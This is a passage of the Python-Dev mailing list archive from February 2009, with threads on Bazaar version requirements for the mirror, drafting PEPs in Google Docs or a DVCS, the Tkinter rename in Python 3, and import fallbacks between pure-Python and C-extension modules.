Subject: [Python-Dev] Attention Bazaar mirror users
In-Reply-To: <878wo05lkc.fsf@xemacs.org>
References: <97B7A93A-B66D-44D1-8E69-2B78CFD50881@python.org>
	<2C3A7FAB-037C-4B1B-98F4-22BC30BCE132@python.org>
	<5b8d13220902201804i32c75740j5abaab819b0e89ec@mail.gmail.com>
	<878wo05lkc.fsf@xemacs.org>
Message-ID: <5b8d13220902202337s381ee643j9ee2b56b6040ee6b@mail.gmail.com>

On Sat, Feb 21, 2009 at 3:52 PM, Stephen J. Turnbull <stephen at xemacs.org> wrote:
> David Cournapeau writes:
>  > On Sat, Feb 21, 2009 at 6:21 AM, Barry Warsaw <barry at python.org> wrote:
>
>  > > In both those cases, you can use the PPA:
>
>  > Please note that for many people in a corporate/university
>  > environment, this is not an option. Granted, you can install it by
>  > yourself at this point,
>
> Er, what are people without access to PPAs doing building Python from
> a VCS checkout?

I don't see the link between access to PPA and building Python from
sources. I don't have administration privileges on any of my machine
at work. Adding PPA is simply not allowed at some places (PPA or
anything else which is not considered 'safe'), or too much of a
(bureaucratic) burden.

cheers,

David

From stephen at xemacs.org  Sat Feb 21 10:05:06 2009
From: stephen at xemacs.org (Stephen J. Turnbull)
Date: Sat, 21 Feb 2009 18:05:06 +0900
Subject: [Python-Dev] Attention Bazaar mirror users
In-Reply-To: <5b8d13220902202337s381ee643j9ee2b56b6040ee6b@mail.gmail.com>
References: <97B7A93A-B66D-44D1-8E69-2B78CFD50881@python.org>
	<2C3A7FAB-037C-4B1B-98F4-22BC30BCE132@python.org>
	<5b8d13220902201804i32c75740j5abaab819b0e89ec@mail.gmail.com>
	<878wo05lkc.fsf@xemacs.org>
	<5b8d13220902202337s381ee643j9ee2b56b6040ee6b@mail.gmail.com>
Message-ID: <874oyo5fel.fsf@xemacs.org>

David Cournapeau writes:

 > > Er, what are people without access to PPAs doing building Python from
 > > a VCS checkout?
 > 
 > I don't see the link between access to PPA and building Python from
 > sources.

I didn't say "from source", I said "from a VCS checkout".  If using a
*specific* recent official release of a core tool is bureaucratically
infeasible, it would IMO be very unusual if you're allowed to checkout
and build arbitrary versions of Python, rather than using a version
provided by your bureaucrats.

The number of people whose job is *specifically* developing Python, or
developing code that depends on bleeding-edge Python, in such an
environment is surely very small.


From wilk at flibuste.net  Sat Feb 21 10:43:41 2009
From: wilk at flibuste.net (William Dode)
Date: Sat, 21 Feb 2009 09:43:41 +0000 (UTC)
Subject: [Python-Dev] A suggestion: Do proto-PEPs in Google Docs
References: <499C6E00.2030602@canterbury.ac.nz>
	<499CC6E8.5050104@ronadam.com> <499D243B.8080801@canterbury.ac.nz>
	<499D2740.1070408@canterbury.ac.nz> <499D3086.6020706@canterbury.ac.nz>
	<ca471dc20902190712o1ebb3ee5r10f46147abd78324@mail.gmail.com>
	<87tz6ppzk9.fsf@xemacs.org> <gnm3fd$g0p$1@ger.gmane.org>
	<loom.20090220T112059-856@post.gmane.org>
	<ca471dc20902200950o699e139bj2715c403cfa90be4@mail.gmail.com>
	<gnmr8g$6dr$1@ger.gmane.org> <87eixs5tp5.fsf@xemacs.org>
Message-ID: <gnoicd$dn2$1@ger.gmane.org>

On 21-02-2009, Stephen J. Turnbull wrote:
> Summary:
>
> Google Docs is easy to use, featureful, and here now.  Since AIUI the
> PEPs eventually need to be hosted at python.org, I see Google Docs as
> an immediate replacement for email transmission of early drafts of
> PEPs, not as a permanent solution to PEP storage.
>
> William Dode writes:
>
> > Isn't it the good oportunity to try a DVCS ?

My point was more to try a DVCS to give food to the 374e pep than to 
resolv the issues you mention.

-- 
William Dod? - http://flibuste.net
Informaticien Ind?pendant


From martin at v.loewis.de  Sat Feb 21 10:57:04 2009
From: martin at v.loewis.de (=?ISO-8859-1?Q?=22Martin_v=2E_L=F6wis=22?=)
Date: Sat, 21 Feb 2009 10:57:04 +0100
Subject: [Python-Dev] Attention Bazaar mirror users
In-Reply-To: <874oyo5fel.fsf@xemacs.org>
References: <97B7A93A-B66D-44D1-8E69-2B78CFD50881@python.org>	<2C3A7FAB-037C-4B1B-98F4-22BC30BCE132@python.org>	<5b8d13220902201804i32c75740j5abaab819b0e89ec@mail.gmail.com>	<878wo05lkc.fsf@xemacs.org>	<5b8d13220902202337s381ee643j9ee2b56b6040ee6b@mail.gmail.com>
	<874oyo5fel.fsf@xemacs.org>
Message-ID: <499FCFF0.6060405@v.loewis.de>

> I didn't say "from source", I said "from a VCS checkout".  If using a
> *specific* recent official release of a core tool is bureaucratically
> infeasible, it would IMO be very unusual if you're allowed to checkout
> and build arbitrary versions of Python, rather than using a version
> provided by your bureaucrats.
> 
> The number of people whose job is *specifically* developing Python, or
> developing code that depends on bleeding-edge Python, in such an
> environment is surely very small.

This completely contradicts with my experience. In a university
environment, students regularly check out software from the source
repository, modify it, and build it, just to learn something by doing
so. Yet, in such an environment, they have little control over their
systems - they cannot install software themselves, but have to ask
the university bureaucrats (which often reject such wishes, unless
they come from a teacher - and often even in that case).

There is no problem with people building their own versions of Python,
though - they do so in their home directories, and OS security
mechanisms prevent them from doing harm to other users.

Regards,
Martin

From asmodai at in-nomine.org  Sat Feb 21 11:37:09 2009
From: asmodai at in-nomine.org (Jeroen Ruigrok van der Werven)
Date: Sat, 21 Feb 2009 11:37:09 +0100
Subject: [Python-Dev] A suggestion: Do proto-PEPs in Google Docs
In-Reply-To: <ca471dc20902200950o699e139bj2715c403cfa90be4@mail.gmail.com>
References: <499C6E00.2030602@canterbury.ac.nz> <499CC6E8.5050104@ronadam.com>
	<499D243B.8080801@canterbury.ac.nz>
	<499D2740.1070408@canterbury.ac.nz>
	<499D3086.6020706@canterbury.ac.nz>
	<ca471dc20902190712o1ebb3ee5r10f46147abd78324@mail.gmail.com>
	<87tz6ppzk9.fsf@xemacs.org> <gnm3fd$g0p$1@ger.gmane.org>
	<loom.20090220T112059-856@post.gmane.org>
	<ca471dc20902200950o699e139bj2715c403cfa90be4@mail.gmail.com>
Message-ID: <20090221103709.GC22408@nexus.in-nomine.org>

-On [20090220 18:51], Guido van Rossum (guido at python.org) wrote:
>I still don't like wikis for this purpose very much -- a person
>editing effectively grabs a lock on the whole file.

Imagine a Wiki with a cross-polination of Etherpad [1], that would resolve
that complaint.

[1] http://etherpad.com/

-- 
Jeroen Ruigrok van der Werven <asmodai(-at-)in-nomine.org> / asmodai
????? ?????? ??? ?? ??????
http://www.in-nomine.org/ | http://www.rangaku.org/ | GPG: 2EAC625B
Earth to earth, ashes to ashes, dust to dust...

From kgmuller at xs4all.nl  Sat Feb 21 11:47:04 2009
From: kgmuller at xs4all.nl (=?iso-8859-1?Q?Klaus_M=FCller?=)
Date: Sat, 21 Feb 2009 11:47:04 +0100
Subject: [Python-Dev] Tkinter problem in Python 3
Message-ID: <1F20E4AB3BFD482487937BBC4A08097E@VistaMonster>

Hi!
I am the lead developer of SimPy (http://simpy.sourceforge.net) . Currently, I am porting SimPy to Python 3.

SimPy provides Tk/Tkinter-based GUI and plot facilities.

I find that "import Tkinter" does not work in Python 3, only "import tkinter".

What are the changes for Tkinter under Python 3?

Thanks for your help!

Klaus M?ller
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://mail.python.org/pipermail/python-dev/attachments/20090221/bf013669/attachment.htm>

From ggpolo at gmail.com  Sat Feb 21 12:19:10 2009
From: ggpolo at gmail.com (Guilherme Polo)
Date: Sat, 21 Feb 2009 08:19:10 -0300
Subject: [Python-Dev] Tkinter problem in Python 3
In-Reply-To: <1F20E4AB3BFD482487937BBC4A08097E@VistaMonster>
References: <1F20E4AB3BFD482487937BBC4A08097E@VistaMonster>
Message-ID: <ac2200130902210319x1ae0814bld814c04680da15cb@mail.gmail.com>

On Sat, Feb 21, 2009 at 7:47 AM, Klaus M?ller <kgmuller at xs4all.nl> wrote:
> Hi!
> I am the lead developer of SimPy (http://simpy.sourceforge.net) . Currently,
> I am porting SimPy to Python 3.
>
> SimPy provides Tk/Tkinter-based GUI and plot facilities.
>
> I find that "import Tkinter" does not work in Python 3, only "import
> tkinter".
>
> What are the changes for Tkinter under Python 3?
>

Tkinter lives in a real package now, named "tkinter". Besides that it
hasn't changed much, but this list is inappropriate for this, may I
ask you to move the questions related to tkinter to the
tkinter-discuss list ?

> Thanks for your help!
>
> Klaus M?ller


Regards,

-- 
-- Guilherme H. Polo Goncalves

From qgallet at gmail.com  Sat Feb 21 12:19:43 2009
From: qgallet at gmail.com (Quentin Gallet-Gilles)
Date: Sat, 21 Feb 2009 12:19:43 +0100
Subject: [Python-Dev] Tkinter problem in Python 3
In-Reply-To: <1F20E4AB3BFD482487937BBC4A08097E@VistaMonster>
References: <1F20E4AB3BFD482487937BBC4A08097E@VistaMonster>
Message-ID: <8b943f2b0902210319w3f2fbbedmc0af29e64a278c8e@mail.gmail.com>

Hi Klaus,

Tkinter was renamed as part of the stdlib reorganization (see the PEP
3108 :http://www.python.org/dev/peps/pep-3108/#tkinter-packagefor more
details).
The 2to3 tool should handle all those changes automatically, by the way.

Cheers,
Quentin

On Sat, Feb 21, 2009 at 11:47 AM, Klaus M?ller <kgmuller at xs4all.nl> wrote:

>  Hi!
> I am the lead developer of SimPy (http://simpy.sourceforge.net) .
> Currently, I am porting SimPy to Python 3.
>
> SimPy provides Tk/Tkinter-based GUI and plot facilities.
>
> I find that "import Tkinter" does not work in Python 3, only "import
> tkinter".
>
> What are the changes for Tkinter under Python 3?
>
> Thanks for your help!
>
> Klaus M?ller
>
> _______________________________________________
> Python-Dev mailing list
> Python-Dev at python.org
> http://mail.python.org/mailman/listinfo/python-dev
> Unsubscribe:
> http://mail.python.org/mailman/options/python-dev/qgallet%40gmail.com
>
>
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://mail.python.org/pipermail/python-dev/attachments/20090221/22c15ed7/attachment.htm>

From stephen at xemacs.org  Sat Feb 21 13:15:25 2009
From: stephen at xemacs.org (Stephen J. Turnbull)
Date: Sat, 21 Feb 2009 21:15:25 +0900
Subject: [Python-Dev] Attention Bazaar mirror users
In-Reply-To: <499FCFF0.6060405@v.loewis.de>
References: <97B7A93A-B66D-44D1-8E69-2B78CFD50881@python.org>
	<2C3A7FAB-037C-4B1B-98F4-22BC30BCE132@python.org>
	<5b8d13220902201804i32c75740j5abaab819b0e89ec@mail.gmail.com>
	<878wo05lkc.fsf@xemacs.org>
	<5b8d13220902202337s381ee643j9ee2b56b6040ee6b@mail.gmail.com>
	<874oyo5fel.fsf@xemacs.org> <499FCFF0.6060405@v.loewis.de>
Message-ID: <873ae856le.fsf@xemacs.org>

"Martin v. L?wis" writes:
 > sjt sez:

 > > I didn't say "from source", I said "from a VCS checkout".  If using a
 > > *specific* recent official release of a core tool is bureaucratically
 > > infeasible, it would IMO be very unusual if you're allowed to checkout
 > > and build arbitrary versions of Python, rather than using a version
 > > provided by your bureaucrats.
 > > 
 > > The number of people whose job is *specifically* developing Python, or
 > > developing code that depends on bleeding-edge Python, in such an
 > > environment is surely very small.

 > This completely contradicts with my experience. In a university
 > environment, students regularly check out software from the source
 > repository, modify it, and build it, just to learn something by doing
 > so.

You're ignoring the second paragraph quoted above.  I'm *not* denying
that such environments are common.  The question is "Do developers
*restricted to such environments* really have an impact on Python
development to outweigh the real cost of standardizing on an older
implementation of Bazaar to developers who would be able to use a more
capable version?"  I find it hard to believe that it would be so;
Bazaar performance on a lot of measures was pretty poor in v1.5.  I
also find it hard to believe that there are very many serious
developers who only have access to a school lab or who are misusing
corporate resources to develop Python.[1]

Nor does this problem exist with Mercurial or git; both of those have
more than adequate performance for basic operations with whatever-
version-is-in-Debian-lenny (git 1.5.6 and Mercurial 1.0.1).  So I
don't see much harm to come from letting Bazaar at least put forward
its nice shiny new shoes.  Unless the Barry feels that that would be a
risk to Bazaar's acceptability in the end.  He apparently doesn't
think so, though; rather that the improved performance and
capabilities of recent bzr will make it more attractive to the great
majority of Python developers than an older (more "democratic") bzr
would be.

Besides, if Barry makes this experiment *now* and enough people speak
up that it will make it difficult for them to contribute to Python,
the Bazaar proponents can revert to an older version of Bazaar before
a final decision is made.



Footnotes: 
[1]  If it's their job to do so, and Python requires 1.12 to check
out and push to the official sources, won't their bosses push to get
the 1.12 PPA approved?  I would estimate at least 6 months lead time
before the SVN repo is decommissioned, maybe longer if it's maintained
as a mirror for a while.  That should be enough time to get *that
specific revision* (*not* arbitrary installations!) approved.


From p.f.moore at gmail.com  Sat Feb 21 14:11:10 2009
From: p.f.moore at gmail.com (Paul Moore)
Date: Sat, 21 Feb 2009 13:11:10 +0000
Subject: [Python-Dev] Attention Bazaar mirror users
In-Reply-To: <873ae856le.fsf@xemacs.org>
References: <97B7A93A-B66D-44D1-8E69-2B78CFD50881@python.org>
	<2C3A7FAB-037C-4B1B-98F4-22BC30BCE132@python.org>
	<5b8d13220902201804i32c75740j5abaab819b0e89ec@mail.gmail.com>
	<878wo05lkc.fsf@xemacs.org>
	<5b8d13220902202337s381ee643j9ee2b56b6040ee6b@mail.gmail.com>
	<874oyo5fel.fsf@xemacs.org> <499FCFF0.6060405@v.loewis.de>
	<873ae856le.fsf@xemacs.org>
Message-ID: <79990c6b0902210511q4da43fadm410f411551168a1b@mail.gmail.com>

2009/2/21 Stephen J. Turnbull <stephen at xemacs.org>:
> Besides, if Barry makes this experiment *now* and enough people speak
> up that it will make it difficult for them to contribute to Python,
> the Bazaar proponents can revert to an older version of Bazaar before
> a final decision is made.

In addition, I think it's an interesting experiment in its own right -
are the actions required to allow Bazaar to provide comparable
performance to the other contenders, acceptable to the Python
development community?

Paul

From rdmurray at bitdance.com  Sat Feb 21 15:25:14 2009
From: rdmurray at bitdance.com (rdmurray at bitdance.com)
Date: Sat, 21 Feb 2009 09:25:14 -0500 (EST)
Subject: [Python-Dev] A suggestion: Do proto-PEPs in Google Docs
In-Reply-To: <1bc395c10902202212l236761ar42a1bbc8a8ed3a@mail.gmail.com>
References: <499C6E00.2030602@canterbury.ac.nz>
	<499D3086.6020706@canterbury.ac.nz>
	<ca471dc20902190712o1ebb3ee5r10f46147abd78324@mail.gmail.com>
	<87tz6ppzk9.fsf@xemacs.org> <gnm3fd$g0p$1@ger.gmane.org>
	<loom.20090220T112059-856@post.gmane.org>
	<ca471dc20902200950o699e139bj2715c403cfa90be4@mail.gmail.com>
	<gnmr8g$6dr$1@ger.gmane.org> <87eixs5tp5.fsf@xemacs.org>
	<Pine.LNX.4.64.0902210016310.12396@kimball.webabinitio.net>
	<1bc395c10902202212l236761ar42a1bbc8a8ed3a@mail.gmail.com>
Message-ID: <Pine.LNX.4.64.0902210903380.12396@kimball.webabinitio.net>

On Sat, 21 Feb 2009 at 01:12, Jeff Hall wrote:
>> Not that I'm expecting to be working on PEPs any time soon, but just as a
>> different perspective, I would find the effort to open up Google docs to
>> be a much higher barrier to doing some editing tweaks than the dvcs case.
>> For the DVCS, I'd just write a little script that would (1) update (2)
>> open the editor on the file (3) do the commit/push dance when the file
>> was closed.  So for me it would be as easy as editing the file locally.
>>
>> So for my work style, a DVCS would be the biggest win.
>>
>> --RDM
>
> That's funny because I would expect that for most people it's the exact
> opposite... just create a gmail account... boom, done... I'm not necessarily
> advocating that but just saying that IMO, most people will find google docs
> to be the "fastest" and "easiest" solution.

The ease of creating a gmail account has nothing to do with the point
to which I was responding (context which is lost from your reply).
That's setup.  I was responding to a point talking about in-the-moment
workflow.  A browser and a GUI javascript program are slower than a unix
command line based editor such as vim or emacs both to open up and to use.
Thus for me, by using a script to automate the part that the OP suggested
would slow the dvcs user down (the update/commit/push cycle), I make
the dvcs in-the-moment workflow much faster _for me_ than Google Docs.

As I said it's a matter of personal style.  Some people _will_ find
Google Docs easier and more productive than a dvcs.  My point was that
not all people will.

--RDM

From guido at python.org  Sat Feb 21 17:36:09 2009
From: guido at python.org (Guido van Rossum)
Date: Sat, 21 Feb 2009 08:36:09 -0800
Subject: [Python-Dev] A suggestion: Do proto-PEPs in Google Docs
In-Reply-To: <Pine.LNX.4.64.0902210903380.12396@kimball.webabinitio.net>
References: <499C6E00.2030602@canterbury.ac.nz> <87tz6ppzk9.fsf@xemacs.org>
	<gnm3fd$g0p$1@ger.gmane.org> <loom.20090220T112059-856@post.gmane.org>
	<ca471dc20902200950o699e139bj2715c403cfa90be4@mail.gmail.com>
	<gnmr8g$6dr$1@ger.gmane.org> <87eixs5tp5.fsf@xemacs.org>
	<Pine.LNX.4.64.0902210016310.12396@kimball.webabinitio.net>
	<1bc395c10902202212l236761ar42a1bbc8a8ed3a@mail.gmail.com>
	<Pine.LNX.4.64.0902210903380.12396@kimball.webabinitio.net>
Message-ID: <ca471dc20902210836p439c6ce1h26dcbb239e88a3ed@mail.gmail.com>

On Sat, Feb 21, 2009 at 6:25 AM,  <rdmurray at bitdance.com> wrote:
> On Sat, 21 Feb 2009 at 01:12, Jeff Hall wrote:
>>>
>>> Not that I'm expecting to be working on PEPs any time soon, but just as a
>>> different perspective, I would find the effort to open up Google docs to
>>> be a much higher barrier to doing some editing tweaks than the dvcs case.
>>> For the DVCS, I'd just write a little script that would (1) update (2)
>>> open the editor on the file (3) do the commit/push dance when the file
>>> was closed.  So for me it would be as easy as editing the file locally.
>>>
>>> So for my work style, a DVCS would be the biggest win.
>>>
>>> --RDM
>>
>> That's funny because I would expect that for most people it's the exact
>> opposite... just create a gmail account... boom, done... I'm not
>> necessarily
>> advocating that but just saying that IMO, most people will find google
>> docs
>> to be the "fastest" and "easiest" solution.
>
> The ease of creating a gmail account has nothing to do with the point
> to which I was responding (context which is lost from your reply).
> That's setup.  I was responding to a point talking about in-the-moment
> workflow.  A browser and a GUI javascript program are slower than a unix
> command line based editor such as vim or emacs both to open up and to use.
> Thus for me, by using a script to automate the part that the OP suggested
> would slow the dvcs user down (the update/commit/push cycle), I make
> the dvcs in-the-moment workflow much faster _for me_ than Google Docs.
>
> As I said it's a matter of personal style.  Some people _will_ find
> Google Docs easier and more productive than a dvcs.  My point was that
> not all people will.

That's a discussion that can never come to a decent conclusion. We
will never find a solution that works for *everyone*, and IMO we don't
need to bend over backwards to try. I don't doubt for a second that
for *most* people the barrier to using Google Docs is less than the
barrier to using a DVCS, even if when you take a sampling of hard core
open source developers that might not be so clear-cut.

-- 
--Guido van Rossum (home page: http://www.python.org/~guido/)

From martin at v.loewis.de  Sat Feb 21 18:17:45 2009
From: martin at v.loewis.de (=?ISO-8859-1?Q?=22Martin_v=2E_L=F6wis=22?=)
Date: Sat, 21 Feb 2009 18:17:45 +0100
Subject: [Python-Dev] Attention Bazaar mirror users
In-Reply-To: <873ae856le.fsf@xemacs.org>
References: <97B7A93A-B66D-44D1-8E69-2B78CFD50881@python.org>	<2C3A7FAB-037C-4B1B-98F4-22BC30BCE132@python.org>	<5b8d13220902201804i32c75740j5abaab819b0e89ec@mail.gmail.com>	<878wo05lkc.fsf@xemacs.org>	<5b8d13220902202337s381ee643j9ee2b56b6040ee6b@mail.gmail.com>	<874oyo5fel.fsf@xemacs.org>	<499FCFF0.6060405@v.loewis.de>
	<873ae856le.fsf@xemacs.org>
Message-ID: <49A03739.3010202@v.loewis.de>

> You're ignoring the second paragraph quoted above.  I'm *not* denying
> that such environments are common.  The question is "Do developers
> *restricted to such environments* really have an impact on Python
> development to outweigh the real cost of standardizing on an older
> implementation of Bazaar to developers who would be able to use a more
> capable version?"

But that's not the question at hand. The question at hand was whether
any of the current users of the Bazaar copy of Python would suffer.

This setup was specifically arranged for developers who have no
immediate impact on Python development, so ignoring the primary target
group of the setup when discussing changes to is is, well,
counter-productive.

> Unless the Barry feels that that would be a
> risk to Bazaar's acceptability in the end.

Whether it is depends on when a DVCS gets selected. If it gets selected
after lenny+1 has been released, I see no problem with requiring version
1.12 (or whatever lenny+1 will then ship with).

> Besides, if Barry makes this experiment *now* and enough people speak
> up that it will make it difficult for them to contribute to Python,
> the Bazaar proponents can revert to an older version of Bazaar before
> a final decision is made.

I agree. Going back might require a reconversion of the subversion
repository, but that might be necessary regardless.

Regards,
Martin

From exarkun at divmod.com  Sat Feb 21 18:17:49 2009
From: exarkun at divmod.com (Jean-Paul Calderone)
Date: Sat, 21 Feb 2009 12:17:49 -0500
Subject: [Python-Dev] Choosing a best practice solution for
 Python/extension modules
In-Reply-To: <bbaeab100902201345y55f77688g18282dacec7ad5f6@mail.gmail.com>
Message-ID: <20090221171749.12853.1251500684.divmod.quotient.12469@henry.divmod.com>

On Fri, 20 Feb 2009 13:45:26 -0800, Brett Cannon <brett at python.org> wrote:
>On Fri, Feb 20, 2009 at 12:53, Aahz <aahz at pythoncraft.com> wrote:
>
>> On Fri, Feb 20, 2009, Brett Cannon wrote:
>> > On Fri, Feb 20, 2009 at 12:37, Brett Cannon <brett at python.org> wrote:
>> >> On Fri, Feb 20, 2009 at 12:31, Daniel Stutzbach <
>> >> daniel at stutzbachenterprises.com> wrote:
>> >>>
>> >>> A slight change would make it work for modules where only key functions
>> >>> have been rewritten.  For example, pickle.py could read:
>> >>>
>> >>> from _pypickle import *
>> >>> try: from _pickle import *
>> >>> except ImportError: pass
>> >>
>> >> True, although that still suffers from the problem of overwriting things
>> >> like __name__, __file__, etc.
>> >
>> > Actually, I take that back; the IMPORT_STAR opcode doesn't pull in
>> anything
>> > starting with an underscore. So while this alleviates the worry above, it
>> > does mean that anything that gets rewritten needs to have a name that
>> does
>> > not lead with an underscore for this to work. Is that really an
>> acceptable
>> > compromise for a simple solution like this?
>>
>> Doesn't __all__ control this?
>
>
>If you define it, yes.
>
>But there is another issue with this: the pure Python code will never call
>the extension code because the globals will be bound to _pypickle and not
>_pickle. So if you have something like::
>
>  # _pypickle
>  def A(): return _B()
>  def _B(): return -13
>
>  # _pickle
>  def _B(): return 42
>
>  # pickle
>  from _pypickle import *
>  try: from _pickle import *
>  except ImportError: pass
>
>If you import pickle and call pickle.A() you will get -13 which is not what
>you are after.

If pickle and _pypickle are both Python modules, and _pypickle.A is intended
to be used all the time, regardless of whether _pickle is available, then
there's not really any reason to implement A in _pypickle.  Just implement it
in pickle.  Then import whatever optionally fast thing it depends on from
_pickle, if possible, and fall-back to the less fast thing in _pypickle
otherwise.

This is really the same as any other high-level/low-level library split.  It
doesn't matter that in this case, one low-level implementation is provided as
an extension module.  Importing the low-level APIs from another module and
then using them to implement high-level APIs is a pretty common, simple,
well-understood technique which is quite applicable here.

Jean-Paul

From wilk at flibuste.net  Sat Feb 21 18:19:20 2009
From: wilk at flibuste.net (William Dode)
Date: Sat, 21 Feb 2009 17:19:20 +0000 (UTC)
Subject: [Python-Dev] A suggestion: Do proto-PEPs in Google Docs
References: <499C6E00.2030602@canterbury.ac.nz> <87tz6ppzk9.fsf@xemacs.org>
	<gnm3fd$g0p$1@ger.gmane.org> <loom.20090220T112059-856@post.gmane.org>
	<ca471dc20902200950o699e139bj2715c403cfa90be4@mail.gmail.com>
	<gnmr8g$6dr$1@ger.gmane.org> <87eixs5tp5.fsf@xemacs.org>
	<Pine.LNX.4.64.0902210016310.12396@kimball.webabinitio.net>
	<1bc395c10902202212l236761ar42a1bbc8a8ed3a@mail.gmail.com>
	<Pine.LNX.4.64.0902210903380.12396@kimball.webabinitio.net>
	<ca471dc20902210836p439c6ce1h26dcbb239e88a3ed@mail.gmail.com>
Message-ID: <gnpd2o$n68$1@ger.gmane.org>

On 21-02-2009, Guido van Rossum wrote:
> On Sat, Feb 21, 2009 at 6:25 AM,  <rdmurray at bitdance.com> wrote:
>> On Sat, 21 Feb 2009 at 01:12, Jeff Hall wrote:
>>>>
>>>> Not that I'm expecting to be working on PEPs any time soon, but just as a
>>>> different perspective, I would find the effort to open up Google docs to
>>>> be a much higher barrier to doing some editing tweaks than the dvcs case.
>>>> For the DVCS, I'd just write a little script that would (1) update (2)
>>>> open the editor on the file (3) do the commit/push dance when the file
>>>> was closed.  So for me it would be as easy as editing the file locally.
>>>>
>>>> So for my work style, a DVCS would be the biggest win.
>>>>
>>>> --RDM
>>>
>>> That's funny because I would expect that for most people it's the exact
>>> opposite... just create a gmail account... boom, done... I'm not
>>> necessarily
>>> advocating that but just saying that IMO, most people will find google
>>> docs
>>> to be the "fastest" and "easiest" solution.
>>
>> The ease of creating a gmail account has nothing to do with the point
>> to which I was responding (context which is lost from your reply).
>> That's setup.  I was responding to a point talking about in-the-moment
>> workflow.  A browser and a GUI javascript program are slower than a unix
>> command line based editor such as vim or emacs both to open up and to use.
>> Thus for me, by using a script to automate the part that the OP suggested
>> would slow the dvcs user down (the update/commit/push cycle), I make
>> the dvcs in-the-moment workflow much faster _for me_ than Google Docs.
>>
>> As I said it's a matter of personal style.  Some people _will_ find
>> Google Docs easier and more productive than a dvcs.  My point was that
>> not all people will.
>
> That's a discussion that can never come to a decent conclusion. We
> will never find a solution that works for *everyone*

Maybe not for everyone but maybe a DVCS could work for everythings.  
I mean, work for the code, for the doc, for the peps, for the website...  
And also the same tools for core devs and for occasional contributors.

-- 
William Dod? - http://flibuste.net
Informaticien Ind?pendant


From tseaver at palladion.com  Sat Feb 21 18:45:00 2009
From: tseaver at palladion.com (Tres Seaver)
Date: Sat, 21 Feb 2009 12:45:00 -0500
Subject: [Python-Dev] Attention Bazaar mirror users
In-Reply-To: <499FCFF0.6060405@v.loewis.de>
References: <97B7A93A-B66D-44D1-8E69-2B78CFD50881@python.org>	<2C3A7FAB-037C-4B1B-98F4-22BC30BCE132@python.org>	<5b8d13220902201804i32c75740j5abaab819b0e89ec@mail.gmail.com>	<878wo05lkc.fsf@xemacs.org>	<5b8d13220902202337s381ee643j9ee2b56b6040ee6b@mail.gmail.com>	<874oyo5fel.fsf@xemacs.org>
	<499FCFF0.6060405@v.loewis.de>
Message-ID: <49A03D9C.8050604@palladion.com>

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

Martin v. L?wis wrote:
>> I didn't say "from source", I said "from a VCS checkout".  If using a
>> *specific* recent official release of a core tool is bureaucratically
>> infeasible, it would IMO be very unusual if you're allowed to checkout
>> and build arbitrary versions of Python, rather than using a version
>> provided by your bureaucrats.
>>
>> The number of people whose job is *specifically* developing Python, or
>> developing code that depends on bleeding-edge Python, in such an
>> environment is surely very small.
> 
> This completely contradicts with my experience. In a university
> environment, students regularly check out software from the source
> repository, modify it, and build it, just to learn something by doing
> so. Yet, in such an environment, they have little control over their
> systems - they cannot install software themselves, but have to ask
> the university bureaucrats (which often reject such wishes, unless
> they come from a teacher - and often even in that case).
> 
> There is no problem with people building their own versions of Python,
> though - they do so in their home directories, and OS security
> mechanisms prevent them from doing harm to other users.

Wouldn't such hypothetical core Python developers be able to build and
run their own local copy of bzr, using that self-compiled Python?  Let's
not strain at gnats and swallow camels here.


Tres.
- --
===================================================================
Tres Seaver          +1 540-429-0999          tseaver at palladion.com
Palladion Software   "Excellence by Design"    http://palladion.com
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.6 (GNU/Linux)
Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org

iD8DBQFJoD2c+gerLs4ltQ4RAjglAJ9fgoSD0g9jJm8Kw/Z2PBvyXKYIWQCeL+Xa
lybDHEZyjZxG21inSFsn1W0=
=d02o
-----END PGP SIGNATURE-----

From tseaver at palladion.com  Sat Feb 21 18:45:00 2009
From: tseaver at palladion.com (Tres Seaver)
Date: Sat, 21 Feb 2009 12:45:00 -0500
Subject: [Python-Dev] Attention Bazaar mirror users
In-Reply-To: <499FCFF0.6060405@v.loewis.de>
References: <97B7A93A-B66D-44D1-8E69-2B78CFD50881@python.org>	<2C3A7FAB-037C-4B1B-98F4-22BC30BCE132@python.org>	<5b8d13220902201804i32c75740j5abaab819b0e89ec@mail.gmail.com>	<878wo05lkc.fsf@xemacs.org>	<5b8d13220902202337s381ee643j9ee2b56b6040ee6b@mail.gmail.com>	<874oyo5fel.fsf@xemacs.org>
	<499FCFF0.6060405@v.loewis.de>
Message-ID: <49A03D9C.8050604@palladion.com>

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

Martin v. L?wis wrote:
>> I didn't say "from source", I said "from a VCS checkout".  If using a
>> *specific* recent official release of a core tool is bureaucratically
>> infeasible, it would IMO be very unusual if you're allowed to checkout
>> and build arbitrary versions of Python, rather than using a version
>> provided by your bureaucrats.
>>
>> The number of people whose job is *specifically* developing Python, or
>> developing code that depends on bleeding-edge Python, in such an
>> environment is surely very small.
> 
> This completely contradicts with my experience. In a university
> environment, students regularly check out software from the source
> repository, modify it, and build it, just to learn something by doing
> so. Yet, in such an environment, they have little control over their
> systems - they cannot install software themselves, but have to ask
> the university bureaucrats (which often reject such wishes, unless
> they come from a teacher - and often even in that case).
> 
> There is no problem with people building their own versions of Python,
> though - they do so in their home directories, and OS security
> mechanisms prevent them from doing harm to other users.

Wouldn't such hypothetical core Python developers be able to build and
run their own local copy of bzr, using that self-compiled Python?  Let's
not strain at gnats and swallow camels here.


Tres.
- --
===================================================================
Tres Seaver          +1 540-429-0999          tseaver at palladion.com
Palladion Software   "Excellence by Design"    http://palladion.com
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.6 (GNU/Linux)
Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org

iD8DBQFJoD2c+gerLs4ltQ4RAjglAJ9fgoSD0g9jJm8Kw/Z2PBvyXKYIWQCeL+Xa
lybDHEZyjZxG21inSFsn1W0=
=d02o
-----END PGP SIGNATURE-----


From martin at v.loewis.de  Sat Feb 21 19:03:31 2009
From: martin at v.loewis.de (=?ISO-8859-1?Q?=22Martin_v=2E_L=F6wis=22?=)
Date: Sat, 21 Feb 2009 19:03:31 +0100
Subject: [Python-Dev] Attention Bazaar mirror users
In-Reply-To: <49A03D9C.8050604@palladion.com>
